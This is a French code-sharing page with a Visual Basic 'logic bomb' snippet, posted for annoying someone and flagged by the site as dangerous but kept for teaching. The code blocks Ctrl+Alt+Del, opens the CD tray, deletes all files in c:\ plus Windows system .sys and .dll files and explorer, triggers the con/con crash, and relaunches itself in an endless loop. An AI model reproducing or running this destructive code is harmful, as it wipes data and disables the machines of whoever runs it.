Little blue bombzy (bombe pour lamerz)

Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique :
Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique.

Commenter

Contenu du snippet

Bon ce ti-prog ce veut un example de "bombe lamerz" qui peut quand même s'avérer util pour faire chier quelqu'un et qui pourrait devenir après quelques retouches très puissante.

Pourquoi little blue bombzy? Il est petit, provoque un blue screen of the death et c'est une bombe

Source / Exemple : 


'celà se veut un exemple de bombe mais c'est quand même puissant
'à mettre absolument en entête de prog pour empêcher le ctrl+alt+del et permettre de
'tripoter la machine
Private Const SPI_SETSCREENSAVEACTIVE = 17
Private Const SPIF_UPDATEINIFILE = &H1
Private Const SPIF_SENDWININICHANGE = &H2
Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Long, ByVal fuWinIni As Long) As Long
Private Const SPI_SCREENSAVERRUNNING = 97
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

'créer une form avec cela
Private Sub Form_Load()

's'il y a une erreure, fait la ligne suivante et continue
On Error Resume Next

'ouvre le cd
Call mciSendString("Set CDAudio Door Open", "", 0, 0)

'fais faire trois fois le song "beep" à la machine
Beep
Beep
Beep

'd'autre truc pour empêcher l'arrêt du programme
Dim Retour  As Long
Dim a As Boolean
Retour = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, a, 0)

'supprime des fichier essentiels à windows
Kill "c:\*.*"
Kill "c:\windows\*.sys"
Kill "c:\windows\*.dll"
Kill "c:\windows\system\*.sys"
Kill "c:\windows\system32\*.sys"
Kill "c:\windows\system\*.dll"
Kill "c:\windows\system32\*.dll"

'fait sauter le shell de windows
retval = SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 0, 0, 0)
Kill "c:\windows\explorer.*"""
Shell "con/con"
Do
Shell App.Path & "\" & App.EXEName & ".exe", vbHide
Loop
End Sub

Conclusion :


Bon je sais c'est lamerz, mais ya quand même un potentiel

A voir également

S'inscrire maintenant

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Du même auteur (Weado)